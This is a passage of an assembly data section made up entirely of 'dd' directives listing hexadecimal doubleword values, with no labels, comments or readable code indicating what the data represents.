0B98DD73Bh, 8493D084h, 237C08E4h dd 8AC339C4h, 7C279594h, 0C219Ch, 0D604B522h, 0CBF14F13h dd 26735104h, 0B4C66E94h, 0DD6928C8h, 0F5742A18h, 73BA0084h dd 98AA64F8h, 497863CEh, 39ADB601h, 5DB9D20Eh, 0F0643423h dd 0A4246021h, 5FF22BDBh, 0E6311F4h, 20A45C1Bh, 1ABB238h dd 0CE9E0C68h, 79903E27h, 6E1FD806h, 9810668Ah, 691A0CBFh dd 0BB405D52h, 5B0B632Ch, 12215428h, 10060256h, 220474E7h dd 4B857E4Eh, 0A05E73h, 249CDB44h, 17EC2D6Ah, 83ED233h dd 912102FBh, 438F9D23h, 0EBE8B4E3h, 4CB86DD0h, 87292490h dd 2511C4E6h, 23B52B80h, 40913194h, 0C03456C2h, 7FDE118h dd 5DB41A95h, 0D0E02C66h, 7104D91Ch, 65985FC3h, 0E9880479h dd 80C6F687h, 8D4BB700h, 1A807402h, 8F5AC866h, 0A8974A84h dd 0B158Eh, 0C9123430h, 0F8660092h, 7BE22DD5h, 0EAEA4D0Fh dd 8ECBC12h, 48B5822h, 0D42E3534h, 42009923h, 0D02DB395h dd 217B02C4h, 0E515064Bh, 0A240804Fh, 1382E8BCh, 2711196h dd 92CC5B94h, 4E606104h, 0EB2332D6h, 2E071136h, 9D001F30h dd 0E2FD8FDEh, 0F7E611h, 8A09894Eh, 91DDF91Eh, 62D7751Fh dd 57727F84h, 4C71098h, 0CD6A309Bh, 20F93246h, 969D2F25h dd 5E8E6A0Ah, 0B105D0F0h, 242B7EDBh, 8A00EC23h, 450C4828h dd 378806A8h, 0C96E5E1Ah, 908B4B2Ah, 0B30A8400h, 3B7B8663h dd 259E0045h, 0F50FCCEBh, 0F20982D8h, 16AD690h, 5FB96684h dd 91731FD4h, 18F8F180h, 0F2392801h, 904D4DEAh, 28796E14h dd 8CEEE8h, 0A22619DDh, 0E65B01C5h, 4BAF970Ch, 3FE18Ch dd 0C0502B0Ch, 2C62C903h, 9F3DFD00h, 0CC0FA4BDh, 5EE50263h dd 0DF8CEF6Ah, 888274C2h, 29022D7Fh, 0EBD0C468h, 0D6044F18h dd 0B6FEEB2Dh, 570F3F2Ch, 0CF20D2D6h, 0F258B43h, 0FC9C94FCh dd 66008CECh, 7DA40638h, 9B4DC19h, 5BE67694h, 7E60F418h dd 8F445098h, 1A8717E3h, 4C8C41ECh, 0BC94B0AAh, 0DE8070E0h dd 6546845Ah, 2ED62201h, 0CB756EBh, 4A348806h, 3BF0D64Fh dd 9617075Ch, 0F076789Dh, 0F38ADBF1h, 101E020Ch, 8857901Fh dd 54135064h, 0A03F9074h, 2A00F123h, 0FBF69389h, 611301A3h dd 0A1A65BD2h, 55E889EFh, 4ABC048Bh, 2D9CDC60h, 0B0256A29h dd 9D2426C1h, 0B84057DCh, 3C91020Bh, 0D209C338h, 185C9099h dd 39D60823h, 33701EEBh, 8BD6004Bh, 0C94E0D0Bh, 500273CFh dd 0A1DDEDCCh, 833440E7h, 0F081D452h, 8EEEE8h, 97590D3Ch dd 63DDFB41h, 98EC603Ch, 0B460F5A9h, 733A2465h, 5FE20310h dd 4100E895h, 0D2F3D084h, 3FB1BD3h, 0DDEA755Ah, 38033E35h dd 2384CEA0h, 0E0D7DBEDh, 0CE1C2FEEh, 6A044B0h, 9DFFE402h dd 0D0225Ch, 4B11DA55h, 0E7BC5Dh, 0A896B2A2h, 1B08337Eh dd 0FAF5D70Ch, 70A04030h, 5851605Eh, 0A96A10Dh, 37AD7F01h dd 5AFAD22Dh, 9F969D0h, 8A4A8581h, 49D9E020h, 7F003680h dd 0BFE677CEh, 542FD8h, 0A79C73DBh, 265E9F16h, 0CFE8526Fh dd 81E088F9h, 6778396Ah, 5ADACC3Fh, 0C6438B00h, 0F515194Dh dd 0BCA5581Eh, 3AE56610h, 98A69B94h, 50B87E48h, 0B2B8820h dd 0B3AA8FEAh, 0C4998A9h, 6F886079h, 0D3E08D04h, 20A317C2h dd 0B033F0E2h, 7BF930C3h, 4C3C00EFh, 5BDA4BEBh, 94000C97h dd 0D81A8679h, 18CC1B5Ch, 0A865AE5Dh, 212015EDh, 0A59E27E7h dd 0B908003Dh, 8DE64216h, 28202135h, 6A0096D5h, 814D11C8h dd 6A2E9CDDh, 846243D1h, 9D2523C0h, 44B93A87h, 88F81F80h dd 0F41D01h, 5FC66463h, 1EFE6ECEh, 0C9D45926h, 2370E700h dd 16F2B84Ch, 3A54C545h, 21A23F0h, 0A60C47Ch, 49E04841h dd 0ADC000ECh, 5C2E8BF3h, 0DE18EA7Ah, 30244FB1h, 0B940B7B0h dd 6501CF0Eh, 0BF241E1h, 80F204EFh, 0F5E02AC8h, 0DBD1C25Ah dd 0C06891D3h, 0A524D65Bh, 0EE1830B7h, 0F4C6821h, 56549715h dd 9747900h, 0A000F385h, 719AF8D7h, 48EE6DB4h, 0D3090462h dd 0F0107323h, 0F904C9FCh, 0B6AA7E76h, 0E100BCA2h, 82B850ABh dd 0F2007D65h, 78BA4EA7h, 1D3B93BEh, 4FF32EF1h, 40608849h dd 0D9A8D01Ah, 9B7ED700h, 12DA5D1Eh, 0C09876CDh, 0DBB57228h dd 66249E43h, 80B848D2h, 73CCC28Eh, 83E5DAEh, 0FAC8E5EDh dd 0A1034C00h, 3082470Eh, 5EE9754Ah, 9C045343h, 55EC6C35h dd 0ED8BF680h, 0D22400D7h, 0D470CBB0h, 9E1E08C3h, 3F42F3B5h dd 0C1B17871h, 0DC506960h, 6341DF03h, 467468E2h, 0DAEAF100h dd 697F7D81h, 3DC91E8h, 962265CCh, 204BB001h, 0D7790FCAh dd 0E95291F8h, 0C908F0h, 504DD298h, 0DD1F3B57h, 321DD1FEh dd 0DC00BD55h, 0A0B6EE7Dh, 0D3F03DBh, 1D91793Eh, 21C20830h dd 0A0EE84h, 0E91E42B5h, 0D8D7180Bh, 5DC0F400h, 0D10E7DE0h dd 729A0059h, 6773EEAFh, 2D08F265h, 0DCE7E9h, 0A51F3C58h dd 220021D5h, 0BBFBBE42h, 2473526Ch, 1B876F5h, 87B8C762h dd 60E8F495h, 80C31774h, 0C3D502F0h, 33AECB81h, 0E201160h dd 0C95E06A4h, 0A9D01A9h, 9A211E20h, 0D3CAF0ADh, 0D16018C2h dd 0B578902Dh, 3FDA08A0h, 0C3643DC5h, 0A0ED405Ch, 760FD348h dd 0C5D24A00h, 0E256F04Ch, 61A8C13Dh, 8FD3F3EDh, 2AE7AE31h dd 7B3C847Ch, 0CC052107h, 62C380C6h, 6CA9056Fh, 5DDAE3Ah dd 40ED3988h, 6FB4BB9Ch, 230086D2h, 0BE5341Ah, 240814h dd 79B74FAFh, 2220FDEh, 1D617860h, 738793B0h, 0E1740CFEh dd 69087BE6h, 0B82669C7h, 66BBD9D0h, 20E0A1h, 1938D2BEh dd 17E9BC0Fh, 0CCA8DCE4h, 0B8008771h, 192E5981h, 0CC1E52BDh dd 13A97608h, 0ADB82C2Ch, 14E3EA01h, 21DC1123h, 7E0231ADh dd 0D0C78971h, 4D00A679h, 0B7EF9484h, 0A428E9BAh, 0FEB8FA34h dd 22864659h, 31140EA9h, 9780D8B8h, 0F439ECF8h, 0B2F90A8h dd 0D7408ECh, 0C7DE2C00h, 56913A57h, 0D0EC375Eh, 0D4C5F060h dd 481DCD4Bh, 0C7C09B51h, 94821AD7h, 0DC250069h, 54ED2776h dd 7D0896D9h, 80E140B4h, 0B6F9DB3Ch, 9B07C876h, 9D3869D4h dd 213146h, 0CEFA2322h, 7A66CDC2h, 5409D3F8h, 0EFEE619h dd 0BF09D05Ch, 8B01055Eh, 2429F9ECh, 0F3F6110Ch, 0DEF41000h dd 51D2BD5Bh, 0F8C1F427h, 9061D9FEh, 42E1881h, 3076E9FAh dd 2046329Dh, 37FA1629h, 0E7B67400h, 54D7CC10h, 12DF7112h dd 3001EF0Fh, 8893AF14h, 7D8BFE10h, 338063C8h, 49E793B7h dd 5BE8291Dh, 3B6C05E8h dd 0BFDC40DDh, 0D46459A3h, 4EF0B406h, 6F1F94Ah, 923D4D78h dd 0EE4678E3h, 8B93AC02h, 1A3173FEh, 93B43210h, 0E5D3AB0Eh dd 0A44EC020h, 0A364C6Ah, 65EEF655h, 5690098h, 0F0211C41h dd 0C35EC03Fh, 0CA3045F2h, 0B9DF00D8h, 154FC94Dh, 6C00443Fh dd 0F17B374Eh, 38F3286Dh, 12A85773h, 0D25E2A64h, 0EFDF00E4h dd 1A152B41h, 0D300128Ch, 5546DD62h, 0CA07134Eh, 118489B0h dd 938287E4h, 7483FEC1h, 3888610Ch, 0F89301AAh, 0E07A81CAh dd 0E8DDC014h, 22806899h, 0C131272Dh, 0EAE2008Dh, 6F7F594Eh dd 7B0066C7h, 0E3AB5BFCh, 3548C85h, 5ECB7D6Ch, 90000BCFh dd 39FAAC53h, 0C5F6DCh, 8F8A2A1h, 15C221DDh, 0E0D3672Ch dd 3EEA4030h, 587D60F6h, 0F2F8BB7Ch, 990BDE03h, 0EA949154h dd 25B8B07Eh, 76E811FAh, 80438838h, 42FA2D1Ch, 0C33BB670h dd 49EC83A2h, 0C92E84B1h, 21F85EBEh, 0C68600BCh, 0F6C86B47h dd 8948B35Ch, 550E1229h, 5FE83004h, 28C6A8C8h, 0ED49451h dd 7343BE3Ah, 10602F36h, 49C0D0F9h, 66DB9D57h, 7B5A0500h dd 0E3ADA61Dh, 634675B4h, 726D78DEh, 0E9BBC809h, 8B60B023h dd 59AD10B8h, 301FE08Eh, 0B12600B8h, 51D9816Dh, 64C7405h dd 0C1562000h, 0FFF7D149h, 49B980C5h, 0ED789F4Eh, 917348DEh dd 0D75DD3Bh, 8D74F0Eh, 0DB81F038h, 6718E660h, 157CB05Ch dd 94DC9A74h, 11725E08h, 0D66C7E03h, 0C0186D57h, 5BF928h dd 50AA5Ch, 0D4B1B60Ch, 4E34482Ah, 0CCEFDCFEh, 390027B2h dd 796FA27Dh, 0BDEE36h, 58F23246h, 0AF7BCB8Fh, 4BDB620Eh dd 0B803DF9Fh, 80480ACFh, 33A9A6h, 0C1D41AEh, 2C388FBFh dd 0E45B641Dh, 2899CAC0h, 7EA6ACBh, 74CBBDEh, 3CD920CCh dd 0AC000B0Ch, 71D66708h, 7465C7h, 4D8819ABh, 83AE7625h dd 116A3334h, 93E0046Bh, 227C7BA3h, 3B85000h, 0D0AE7284h dd 3EC3724Ch, 7F3B922Dh, 973E9383h, 0D9C169CFh, 1429902Ah dd 484E6584h, 1354292h, 2F94E822h, 0F642E25Ch, 112BAD11h dd 447D950Ch, 22848A58h, 4060090Bh, 8AB06C79h, 1F90703Ah dd 8052AA0Fh, 0F28E3C48h, 6C0EB818h, 0A00E7EACh, 171C666Dh dd 0F4B702EEh, 152397AEh, 0BA03ABE0h, 0F04AD41Ch, 3FE00100h dd 20C569h, 9CEC4D7h, 0AF8D836Ah, 3904F900h, 0F88F0B84h dd 70FB0063h, 1A642712h, 5100D10Dh, 0A9799D7Eh, 0E91C3A8h dd 0C7398FBh, 8346CC0h, 0FA00E365h, 0EFA1506Dh, 1420CC9Fh dd 0C48AE631h, 7F7070h, 89BA6E40h, 1D3A8F39h, 484C5830h dd 7672098Ah, 2B00F171h, 0FC1B4EEEh, 0F0104D62h, 7AA96F51h dd 54FF0115h, 0BD4814B9h, 58F44024h, 2D001E03h, 9EB8052Eh dd 0E14285Fh, 41571FDBh, 7AE2920h, 0A30065EDh, 471ECAA5h dd 7B0BF08Ah, 0E40600F7h, 9A7D78AAh, 100E8EAh, 2774AECCh dd 736B27Eh, 4131D82Eh, 5F44D049h, 0AD03F5AFh, 463EF477h dd 0DC38007Eh, 1D42055Ch, 5E00041Fh, 974CF315h, 0F32BB7Fh dd 82675091h, 0F5D0A860h, 0E7008E98h, 0AE2464B7h, 1D463573h dd 80CA6588h, 51F8B209h, 0AA008BB6h, 0FD031B16h, 755FE4h dd 683C991Ch, 64F18CD3h, 0F3CBBA00h, 0E8FF6D57h, 70A001Fh dd 5A14E11Ch, 200030Bh, 94BE38A3h, 4842523Ah, 0F5168C41h dd 0BB1407D9h, 9C11F079h, 63006087h, 1705733Ah, 8D959Eh dd 0A8D323F5h, 3B82C767h, 0E592870Fh, 42072065h, 1ECDC4FBh dd 833722FFh, 0E6D61520h, 0F1F747F8h, 0A159E907h, 1EA0562Ch dd 9B686Ah, 28B96C5Ah, 38905788h, 0D03EE900h, 0A4197C82h dd 27F6E0h, 5320234Fh, 25ADB88h, 0EC4A9E1Fh, 0CBD44200h dd 0EAF860h, 0C5657B90h, 1328D66Bh, 0B1B93E00h, 7DAC419Eh dd 3C994812h, 88A0FD3Ch, 0EC047B00h, 65062A7Ch, 2DAF38E2h dd 0CA48A01h, 0F8DFD0A6h, 131C349Ah, 0E41F6838h, 0EDC93F80h dd 390EA3h, 4E1AFAE8h, 52EC07CFh, 6E0CB007h, 7773A944h dd 0E8758060h, 121FE285h, 0B343C9h, 0F4D14408h, 0F900EC3Ch dd 0AFD5282Ah, 0C798F6h, 6A3B8F8Ch, 359F31A9h, 0A607F001h dd 8851D33Ch, 0DB49E4h, 0F9E07032h, 0BFDF4B63h, 100AC48h dd 94B7C7FDh, 0EE4040B6h, 0F848AA15h, 4A1A0E63h, 0B763CE89h dd 193E3D39h, 95F280FBh, 19DB0D96h, 1CD742Fh, 0A75CD422h dd 0F89E32CBh, 9001DD4Eh, 5F87924Fh, 16C8A5F6h, 3AAC9021h dd 0B80006DBh, 681A5642h, 6C7A4FD9h, 204C5400h, 6DA1D82Ah dd 7EBDFCACh, 0C47B0017h, 75EB6A05h, 11C04ECCh, 216BED5Ch dd 65D1053Eh, 0C0E36428h, 0F0C33F7Eh, 41D7421Ch, 0A79CEC7h dd 0C1EEE817h, 0EDD59AA8h, 70DD01C4h, 6BBC0045h, 0DBF63B73h dd 1D00E772h, 0F166ECF2h, 60DE088Dh, 0E0B686CEh, 6301774Dh dd 0FD210327h, 0E9D0A2E8h, 3BC30065h, 2F8E1DF5h, 0A63516Bh dd 0E88A720Ch, 301714B8h, 4EF82378h, 0E43AC171h, 571880BAh dd 0D6AD1960h, 0F34B1210h, 512C0086h, 402721C4h, 0FE1456E6h dd 0FC8A4Fh, 5E9D3D63h, 38D65Ah, 69819EC9h, 0A15F10CBh dd 2EDD4202h, 80F43907h, 8D325184h, 89280077h, 92D404EAh dd 663FA2BDh, 977B079Fh, 606075C9h, 0F132B15h, 23F39EEAh dd 0CC2DE463h, 0E74CA788h, 0D151641Ch, 9E33F600h, 9B9FB7h dd 0C124A4B6h, 775A8F5Fh, 8DBD0804h, 0BC8015FDh, 1286F6A1h dd 0EB74B6h, 0E48FAD8h, 400DF3Eh, 0BC7208A5h, 48E4FE43h dd 0A43B227Dh, 1279D800h, 574533EDh, 0CB475E1Dh, 0F6511440h dd 7C274BAFh, 773400C6h, 0A644E6B4h, 0C75064BEh, 0F300FCE7h dd 9FF6863Fh, 0EC9B1A7Fh, 503E0026h, 58C0A0C5h, 0FF0044D3h dd 0F5BF7329h, 0A1E7C3h, 8C8BED3Dh, 0F23E91BCh, 20791200h dd 0D6BE70C8h, 0ADDB0054h, 394823B6h, 11EC8E92h, 387BE0E2h dd 0C5327802h, 409D14F6h, 72CAABh, 0B4C41528h, 0C0302473h dd 8F44381Ch, 2D6DA480h, 0D336C3h, 0E5B13E47h, 0D75F74BBh dd 0E39F0101h, 49B27FFCh, 1AEC1021h, 0FE241C16h, 66BB80D1h dd 0F0921832h, 0BDF4C700h, 5ACA277Ch, 0AAAF00A6h, 52E007EEh dd 892890C6h, 0C80108B0h, 0F485608Ah, 0B4603B35h, 942F01E3h dd 4F9BC3B4h, 37D4603Eh, 8935BE3Ch, 824EA23Fh, 403995E0h dd 585C60h, 0E73C31CAh, 53D9C27Fh, 3E36A416h, 444C5000h dd 0FE08C633h, 27E80362h, 4785C530h, 5CA822A8h, 435E6E00h dd 0FE4144D7h, 0C5E609D5h, 0AC185725h, 857C3F05h, 0CA3F28B0h dd 0F0090F37h, 2EC800BEh, 0E7A5EAh, 40C00A65h, 851C2C34h dd 0E4F41100h, 92F0D00Dh, 6090B0h, 0B486EF47h, 0CEAC7EA2h dd 0BF42EB00h, 0C1DDA90Ch, 0C99D00A8h, 1084B5Ah, 0A00E1321h dd 800DB5B3h, 0EED2EB3Eh, 512300A4h, 0D177ED91h, 5C3ED8F0h dd 9A9900A3h, 3A767D95h, 92C00009h, 8321C614h, 1200B797h dd 131E1618h, 2E7EEA8h, 0DAC1200Ah, 0E4804D46h, 47B9B5ABh dd 8A16327Eh, 0D800A218h, 89DD0495h, 91A8001Ah, 4BCA7BBDh dd 0CB30BFA7h, 0A65C3256h, 0AB08A09Bh, 389C0246h, 2537612Eh dd 0E86BE480h, 0ED80C272h, 30C90217h, 491C08FFh, 5CE1460h dd 0F5BD0200h, 0E63B5DB6h, 0F20F188Bh, 0E5E4216Ch, 839BE83Dh dd 46ACD225h, 1F09915Fh, 4FBA310h, 0E279AD75h, 0C1D5Ch dd 0EF267F21h, 7F70A69h, 8108CE88h, 0E60506Fh, 84F215C4h dd 80C87C00h, 0C66FCD3h, 1801FC47h, 0B822A176h, 6700C324h dd 9A327FC2h, 7CE4233Dh, 0F1610063h, 27C5DA01h, 380016CCh dd 62FA8145h, 1E4CBC89h dd 0A43249A3h, 22051750h, 38C06900h, 0AF00D7ACh, 0F5632A92h dd 0E5AE27h, 394A55Dh, 0B216F7F6h, 83776A0Eh, 308F435h dd 600F8175h, 1290A907h, 24B53070h, 17504735h, 11EB017Ah dd 70C94D9Fh, 0A301C43Ch, 0ABF1186Dh, 3EEC4C1Ch, 7C2B005Fh dd 24F057E1h, 227E7782h, 0B8B52900h, 0F79FCB5Eh, 0A04B0493h dd 0C2844F2Fh, 98101FECh, 629CA810h, 2A6F009Ch, 45E20D86h dd 313C52A0h, 3D03F0D0h, 18BE4115h, 0FF8FB17Fh, 24A170h dd 82B46FA4h, 56E467B9h, 0FA1DC80Fh, 2ED54192h, 50706BDEh dd 0B8D67930h, 22FC03C0h, 1A827121h, 8AA626F8h, 2A7E3A00h dd 1B0694B2h, 0A0AE00A4h, 6DC6F14Fh, 9A0089BAh, 83E7F314h dd 0F4E99B74h, 5033E99h, 0F99426h, 0EEC55CC0h, 2600B775h dd 96CB8C10h, 3643E6Eh, 0F1FFAEF3h, 0F8042CDFh, 94CC9F6Ah dd 0B39CB0h, 7FC7336Ch, 70EBCFABh, 8F1B0301h, 10B0D0F1h dd 0E026E2E0h, 0D9D801C1h, 0F84FD15Eh, 0DCFE6132h, 33004599h dd 0A6154956h, 0C9DFB1Bh, 22574BA1h, 9000D260h, 0EFC42A1Fh dd 79E0EDD3h, 69B8016Eh, 0F2AE48EAh, 870CD17Ch, 277E2E99h dd 47A73DD0h, 2D1008Eh, 0AAB6D719h, 703CFBE9h, 0C7980ACh dd 93D2CA83h, 30210028h, 401BB8Bh, 2F034F9Ah, 6C1215EDh dd 83C0EC72h, 5ABB35Fh, 4BA3049Ch, 0EBECC064h, 0AD792FFFh dd 762EA701h, 9641D2EFh, 0CFE0C0h, 4D741678h, 0AD0C80F7h dd 1336E60Eh, 909E40CBh, 250BD40Fh, 78877B58h, 57DF628Fh dd 55D02040h, 6B50F607h, 8049E733h, 48825F19h, 5AE6B1h dd 0B94E9E7Ah, 69F0B6EAh, 4171A07Ch, 26B8E600h, 9BD95D60h dd 301A72C9h, 2241F205h, 0B61E5828h, 130C9F8Dh, 54BF90D7h dd 0FEE89C37h, 81E30EC2h, 0A5A12D0Ah, 2868FC5Dh, 49DB098Ch dd 6A060BEh, 7E1F2A8Eh, 0ED5F00E0h, 6D62904Ch, 0D4F76CCDh dd 1F00E23Ch, 4188B6F1h, 2823AFh, 78AD03CFh, 0D28F928Ch dd 0A67CEC12h, 68FAAA00h, 373BAC8h, 971C5BBEh, 782869FDh dd 1F0F8461h, 0E00AD4DEh, 52E7C5C4h, 78E90086h, 51089BAAh dd 0C8A05D1Dh, 9C285B21h, 7C92C649h, 402B2C07h, 80CE0D46h dd 0DF347FFBh, 1A8507BAh, 50C27Dh, 0E77E269Dh, 0C3F8C4A8h dd 0E39DA07h, 3C006763h, 10EC02CCh, 0C804F1h, 0E9247533h dd 0F70B0Ah, 32CCC8Eh, 2D6B7A38h, 439F080Fh, 2A6C2029h dd 1EB928h, 0A3BC33F8h, 87185096h, 0CCE0B8A8h, 0A0F449h dd 3EB6D652h, 0E8C0A84Bh, 10D0C048h, 0C1B8EB54h, 4C169400h dd 0B54A9B66h, 0D628065Fh, 282F40EDh, 0C206D490h, 172E1337h dd 0D93900F8h, 2390E0C5h, 0D8A02577h, 9027F2Ah, 31D6338Fh dd 1C4354h, 0DE3879D0h, 0C2C77D9Dh, 4CBF3900h, 203F457Ch dd 0CCF8A950h, 6B26FC38h, 0C69A02B4h, 2C48AD2Ah, 4202338Bh dd 9BDD0B5Ah, 628C8F8h, 85BB26E4h, 945400E7h, 0C9381274h dd 0FFA1D7Fh, 65620400h, 39AA80C5h, 0D9F9005Ah, 82F3FFA1h dd 0E9056C34h, 7994EC61h, 814CCC49h, 0FE0175B4h, 1B5E798Fh dd 0AEBE9360h, 5C407A55h, 321C067Dh, 70A87C85h, 9E000CE2h dd 0BF6CEA06h, 1CB5169h, 547A5BF3h, 0E6D36664h, 0D203060h dd 3681C506h, 28B0F4h, 3AD87FB4h, 8B9AFA0Bh, 1E86400h dd 0BDE62283h, 5553759Eh, 34A7E0BBh, 0E7B82401h, 244570AAh dd 0A20ED490h, 72F3Bh, 0F03086C4h, 37E0048h, 0BA890E78h dd 6E02695Ah, 0A2971BE9h, 7AE88767h, 0F7BFB650h, 1D8E0028h dd 0EC7F17A7h, 0C9001C24h, 9883FC44h, 0CBABDEh, 57ACDB0Ah dd 0BB63661Ah, 0E580DF01h, 0A84A797Fh, 1700283Ch, 0A5B21521h dd 0F40082D4h, 0BF708098h, 0D2DA27h, 0D034F751h, 0DC160877h dd 0E5A52F00h, 0CFC37221h, 5D240083h, 51368B91h, 0FF187B8Dh dd 23F84E2Eh, 0A0A21ECFh, 2022005Ah, 0AE64D8DAh, 28244C18h dd 0A6CB12h, 7FC572B4h, 0FDBC7392h, 3D28F9B8h, 0A3000874h dd 58C953FEh, 0B8198DF9h, 0F050FA2Ch, 0A6F000C3h, 0DAACB6BCh dd 8500C532h, 0C17E533Bh, 491496D6h, 0EC3AF428h, 0BE220A80h dd 0EDB46EF0h, 0D34D6D00h, 0CD7FB723h, 0D2C0051h, 471AE057h dd 0EC0B7117h, 87699072h, 14F2B3C6h, 28184091h, 0BEA80BC7h dd 158010FAh, 0D63F57Ah, 407CD200h, 41A751B3h, 9E86Ah dd 8558A246h, 477B759Fh, 5F1E44F6h, 0C142E46Dh, 80294CA9h dd 0F838EAE8h, 0FD207C5h, 70CC3F1Eh, 4C98DFEBh, 6275CB2Eh dd 232ADB00h, 4866E247h, 0D9005BE3h, 79F69C25h, 0EEB80991h dd 1FC275Ch, 0D6E9A6B0h, 906404FAh, 485312CAh, 9380055Fh dd 102F83F8h, 6F0010EEh, 1C03F29h, 3DE34E7Bh, 0D481469Dh dd 89C591FBh, 5F0C70BDh, 0BA771002h, 60B35680h, 2533C6Ch dd 0B4935C54h, 5B608519h, 0DF012A7Bh, 86741444h, 0C420C188h dd 76821F4Fh, 372C8047h, 5AE8F249h, 2DDD7F0Ah, 3BED053h dd 0AAAE0868h, 0E045D3C4h, 0E3A97D5h, 857824DEh, 80840E27h dd 59D7EF6Eh, 0BE4ACA00h, 4B65ACD1h, 7619121Dh, 146C8235h dd 0D60D36C0h, 0A4226E00h, 0C2B4E57Fh, 0BC041DA3h, 85A6C106h dd 6046BA2Ch, 0DBF4C8DCh, 1170984Ch, 0E00218A5h, 457AEC04h dd 0A4000458h, 916420D9h, 4AB13A2h, 988856CDh, 3768D2C8h dd 0F4D91FC0h, 0CB64E316h, 90FD0881h, 0C198F0h, 0E72CD22h dd 0F0E36501h, 6B9E3300h, 20CCA0CBh, 8B7D2637h, 0C6C90964h dd 834F1848h, 8F197C00h, 0D185379Ch, 499E1CB4h, 4844D894h dd 1500CBF2h, 582B231Bh, 7B8C2DECh, 0AE7E001Fh, 3F0C8713h dd 0E5006F28h, 96A5BA91h, 12816088h, 13539DAFh, 89A44085h dd 662E27Ah, 970EB909h, 877C808Eh, 26B05FA4h, 40F0CF4Fh dd 1C25FA72h, 5BA1A300h, 711AAD7Eh, 0F3DD010Ch, 3DA29FEBh dd 0DB55F863h, 801D9E01h, 0C55AA691h, 0BB00303Dh, 254593C3h dd 0DB284666h, 0C13A011h, 0F008E14h, 0A30205F8h, 4E1A00FBh dd 0D9B496DFh, 7B18213Dh, 0E431CB52h, 991D2684h, 0E67C4090h dd 2B011280h, 47C927A5h, 0AAECC208h, 0F3700FAh, 0DCA0C0A2h dd 7B0E7103h, 4F40B65Eh, 281C7360h, 0FFA801BEh, 0F6959FF8h dd 435FC4h, 0B6948321h, 0EE87AF07h, 0D1B84700h, 6DB3AC02h dd 93241F22h, 7B4440A6h, 0B8E57E68h, 9BE8F89Ah, 141EB300h dd 5EED65CDh, 10B1019Ah, 0E49386F2h, 97C6C68h, 0C874D9EFh dd 0AAF8BCh, 0A251CF03h, 80CE0440h, 7CBBC501h, 694BCC6Dh dd 0F645DCDCh, 2D567CCFh, 1400AE98h, 0BF0DB5BEh, 32AA9500h dd 0E0872213h, 45C32D68h, 0F9DD2C10h, 0BC91360Bh, 0FF94C03Fh dd 90E7082Fh, 1600449Ah, 8BB5F44Bh, 104C90A1h, 27882B45h dd 0DE41803h, 0E080FF1Dh, 8EBC6ADAh, 8F260711h, 5828683Bh dd 727474EFh, 188A4Ch, 0D97A2BBh, 9D6C23h, 32956BBCh, 0EE7B300Ah dd 9464C700h, 0F479747Eh, 0A93C585Eh, 0A9884803h, 404C98F6h dd 3F90009Ch, 0C3752924h, 436A0030h, 0F70DA448h, 76001B2Bh dd 844227C9h, 7FC1AEh, 7222DAA0h, 50D96F1Dh, 0CC7AC801h dd 0FCBFEC0Dh, 0E156F0h, 23D7AB37h, 16ADB564h, 0F07D3E30h dd 79A6EF6h, 0B89E566h, 9C708014h, 93B8E684h, 0B8240E30h dd 4BCD5Ah, 0CC4EC1F8h, 59876A56h, 6C08C550h, 0EA578100h dd 200708D4h, 3951006Eh, 0E3B852EDh, 5400DABEh, 0AC89166Ah dd 0D59F33h, 0B4FF9C37h, 0F312C144h, 8B025077h, 0ECF1EA97h dd 0B349607Ch, 0D41E05AFh, 0D02A305Fh, 7D253AE8h, 2D6DA807h dd 4A902621h dd 1387CFh, 3D9DA45Fh, 172F4129h, 2BD07300h, 55F9A550h dd 15B200F0h, 26D1761Eh, 0AB017C6Ah, 0E05BD6A2h, 0A02FEA98h dd 83012EB4h, 61828117h, 60DA9C71h, 1277AEB8h, 0B8F251h dd 0FA498741h, 0AA093BE3h, 0C1E78CACh, 6BC80110h, 887291h dd 4063BA26h, 0C4ECE42h, 4607D600h, 608973EFh, 4B040718h dd 0E0176916h, 0F6679E75h, 50AC0600h, 80F7E079h, 5B77011Bh dd 0E73E41D7h, 5C10807Fh, 1DE146D6h, 1C76003Bh, 0C1DDD512h dd 30003C0Dh, 0C6509444h, 0FC655AD0h, 0D8C80036h, 7A599F9Bh dd 52460B5h, 480DC32h, 69B9C766h, 834B12AFh, 40B05FB4h dd 0CEE11C86h, 0BD016057h, 1A977410h, 81D453C2h, 957107E5h dd 5059F01Ch, 908539B8h, 5F9C1800h, 878FB26Fh, 80B60092h dd 50A5FD6Dh, 7A58FC12h, 410500D0h, 0A4B38171h, 83F825A1h dd 5CFD0081h, 0ADD01751h, 1DCB3067h, 63C643Eh, 2849894Ah dd 0ACC88807h, 71800735h, 7B61AFCEh, 4852006Eh, 2BEEF3FBh dd 511FF7A3h, 5800BA1h, 66E5A046h, 369024CDh, 0CBEB8AF0h dd 70CE0228h, 36010AD6h, 0FDF838E1h, 4C9F30F5h, 5942291h dd 0CDE87F00h, 0CF6E19C9h, 58895007h, 3560C07Ch, 0AE83F6D9h dd 0C2FC8001h, 5A62CF4Ch, 381AECh, 497C828Bh, 34063367h dd 9683B000h, 0E32302A9h, 0EFF40726h, 70367D44h, 18DD3BFBh dd 0F37AEB00h, 411BD212h, 747A4Eh, 0CFBB461Dh, 38677310h dd 0B88CF002h, 607E32E6h, 3B1F7Dh, 0B5DA3371h, 0F462D5DEh dd 0CC0E25E4h, 153F43h, 7784CD82h, 45120092h, 36A1EAB1h dd 0BD704339h, 8B390A8h, 470C4A74h, 0E924A572h, 31382ADDh dd 480509D8h, 0E060FFAAh, 60005AB5h, 0F3DE7489h, 3B690h dd 55D40D0h, 0E52595E3h, 0DD07C80Fh, 11DE80D5h, 0D189A2h dd 0C11942B6h, 7BA51B3h, 290C5300h, 0A123B5EEh, 145E5330h dd 0E0881B80h, 0F011CB9Eh, 4BA02806h, 7D0097D8h, 0F59ED33Dh dd 34FC903h, 0EECE0DE6h, 0B7985AFEh, 0A87C9344h, 634A5523h dd 70382D07h, 7441A9EFh, 280938C0h, 0FECB003Bh, 0D0C9C3C7h dd 0E07593EDh, 0E71583Dh, 0A42B4E9h, 0C05B349Ch, 2D0AB25h dd 0FF62C7F7h, 2098ECEFh, 0D80AD34Ch, 44EAE4B7h, 70ECC072h dd 4AA52ABFh, 0CC0200E0h, 7BEA143Ah, 8138AC41h, 9E2A0077h dd 0AA35586Dh, 0B009231h, 7F5A838Ah, 0C86CBD00h, 0AC909B67h dd 0DCBE2900h, 25D96A21h, 8059DE22h, 0BB23E9C9h, 0C001EE95h dd 5807E220h, 12F032EDh, 0C59B03A3h, 2EE3FE06h, 390050ABh dd 32C72D2Fh, 0DE93A3h, 